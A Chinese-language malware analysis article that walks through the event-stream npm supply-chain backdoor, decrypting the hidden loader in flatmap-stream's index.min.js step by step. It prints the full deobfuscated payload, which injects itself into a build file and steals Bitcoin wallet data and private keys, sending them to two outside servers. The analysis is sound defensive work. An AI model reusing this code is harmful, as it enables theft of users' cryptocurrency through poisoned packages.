NPM 软件包 event-stream 恶意篡改漏洞分析

栏目: Node.js · 发布时间: 5年前

内容简介:下载漏洞样本

漏洞介绍

环境搭建

下载漏洞样本

漏洞分析

先看下git commit记录, event-stream#commite316336

NPM 软件包 event-stream 恶意篡改漏洞分析

NPM 软件包 event-stream 恶意篡改漏洞分析

可以看到@right9ctrl增加了 flatmap-stream 包的引用。

去样本中 flatmap-stream 包查看源码,可看到如下目录结构。

NPM 软件包 event-stream 恶意篡改漏洞分析

这里有一点很鸡贼,在 node.js 中,一般默认文件为 index.js ,然而后门作者在 package.json 中设置真正的入口文件是 index.min.jsindex.min.js 是压缩代码,难理解,不易察觉。

NPM 软件包 event-stream 恶意篡改漏洞分析

从命名上不难理解, index.min.jsindex.js 的压缩版,内容本应一样。然而在 index.min.js 最后发现比 index.js 多出的一行代码:

NPM 软件包 event-stream 恶意篡改漏洞分析

我们大致展开这行代码得到下面代码。

!(function() {
  try {
    var r = require,
      t = process;
    function e(r) {
      return Buffer.from(r, "hex").toString();
    }
    var n = r(e("2e2f746573742f64617461")),
      o = t[e(n[3])][e(n[4])];
    if (!o) return;
    var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
      a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));
    var f = new module.constructor();
    (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
  } catch (r) {}
})();

这里就看到了后门作者第二个鸡贼点了,找到代码依然看不懂啥意思。由于例子特殊,这次漏洞分析就不试用断点调试了,我去用这段代码加上一些注释和输出去剖析它到底干了啥。

先把前面两段翻译一下

// 编码函数,下面频繁调用编码函数去解字符串拼接
    function e(r) {
      return Buffer.from(r, "hex").toString();
    }

    var n = require(e("2e2f746573742f64617461")),
      o = process[e(n[3])][e(n[4])];
    console.log(`require(${e("2e2f746573742f64617461")})`,`process[${e(n[3])}][${e(n[4])}]`) // require(./test/data) process[env][npm_package_description]

输出如下:

require(./test/data) process[env][npm_package_description]

由此输出我们得知,后门作者在这里引用了包内的 ./test/data 这个目录,并且用到了一个环境变量是在node项目 package.json 中的描述字段,此字段会在node程序运行时生成环境变量 npm_package_description 。回头看这个目录中的内容,是一坨加密的数组。

NPM 软件包 event-stream 恶意篡改漏洞分析

后面的程序内容都是通过这串数组去执行的。继续分析后面的代码。

到后面发现无论我怎样log都不输出了,说明后面的代码根本没有走,于是我在代码分支之前把后面的代码按照上面的方式先翻译过来。

    console.log(`var u = require(${e(n[2])})[${e(n[6])}](${e(n[5])}`)
    console.log(`a = u.update(${n[0]})[${e(n[8])}](${e(n[9])}`)
    console.log(`a += u.final(${e(n[9])})`)
    console.log(`var f = new module.constructor();`)
    console.log(`(f.paths = module.paths), f[${e(n[7])}](a, ""), f.exports(${n[1]})`)
    
    if (!o) return;
    var u = require(e(n[2]))[e(n[6])](e(n[5]), o),
      a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));
    var f = new module.constructor();
    (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);

输出如下:

NPM 软件包 event-stream 恶意篡改漏洞分析

这样就好理解多了,下面有一个解密操作,解密的密钥是 o ,刚才提到了,o是环境变量 npm_package_description ,因此后门作者是打算有针对性的去利用这个后门。只有密钥(npm_package_description)正确才能继续运行下面的密码。

在Github上 I don't know what to say 这个讨论中,最终有大神下载了所有的npm包描述,穷举了密钥。密钥为 A Secure Bitcoin Wallet

我们直接把 o 设置为正确密钥 去解密加密字符串。

!(function() {
  try {
    // 编码函数,下面频繁调用编码函数去解字符串拼接
    function e(r) {
      return Buffer.from(r, "hex").toString();
    }

    var n = require(e("2e2f746573742f64617461")),
      o = process[e(n[3])][e(n[4])];
    o='A Secure Bitcoin Wallet';
    if (!o) return;
    var u = require(e(n[2]))[e(n[6])](e(n[5]), o),
      a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));
    console.log(`解密字符串为:${a}`)
    var f = new module.constructor();
    (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
  } catch (r) {}
})();

输出下面内容:

NPM 软件包 event-stream 恶意篡改漏洞分析

又发现了一段代码。但是这段代码此时还是字符串,为了让其生效,后门作者new了一个module构造器,然后编译其中的代码使其成为可执行的 function

NPM 软件包 event-stream 恶意篡改漏洞分析

    var f = new module.constructor();
    (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
    console.log(`f.exports的类型是:${typeof f.exports}`)

NPM 软件包 event-stream 恶意篡改漏洞分析

后门作者第三个鸡贼点,再来一次解密。不过思路一模一样了。继续格式化拿到的新代码:

/*@@*/
module.exports = function(e) {
  try {
      if (!/build\:.*\-release/.test(process.argv[2])) return;// 用户使用build或者release等参数时执行下面代码
      var t = process.env.npm_package_description,// 密钥,还是 A Secure Bitcoin Wallet
          r = require("fs"),
          i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
          n = r.statSync(i),
          c = r.readFileSync(i, "utf8"),
          o = require("crypto").createDecipher("aes256", t),// 解密出新的代码
          s = o.update(e, "hex", "utf8");
          s = "\n" + (s += o.final("utf8"));
          var a = c.indexOf("\n/*@@*/");
          0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
              try {
                  r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 将恶意代码写入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中
              } catch (e) {}
          })
  } catch (e) {}
};

发现这次代码好像没有那么晦涩难懂了。

在开发者执行 buildrelease 等命令时,将恶意代码写入 cordova (一个跨平台应用开发框架)库中的一个文件,然后直接将恶意代码带入打包的应用程序中并带到最终的用户终端。

下面解开最后的一段代码:

        e = 'db67fdbfc39c249c6f3381...';
        t = 'A Secure Bitcoin Wallet';
        r = require("fs"),
        i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
        n = r.statSync(i),
        c = r.readFileSync(i, "utf8"),
        o = require("crypto").createDecipher("aes256", t),// 解密出新的代码
        s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        console.log(`解密后字符串为${s}`);
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 将恶意代码写入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中
            } catch (e) {}
        })

输出结果:

NPM 软件包 event-stream 恶意篡改漏洞分析

格式化最后一段代码,终于发现了后门作者的意图:

/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            // 发送http请求,参数为:主机地址,路径,数据
            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            // 加密数据并发送到两台不同的服务器
            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            // 获取文件
            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            // 获取用户账号的详细信息并发送
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            // 重写bitcore-wallet-client/lib/credentials.js中的getKeysFunc函数,发送用户虚拟钱包私钥
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

分布式算法导论

分布式算法导论

特尔 (Gerard Tel) / 电子工业出版社 / 2003-7 / 59.00

《分布式算法导论(第2版)(英文版)》由电子工业出版社出版。一起来看看 《分布式算法导论》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具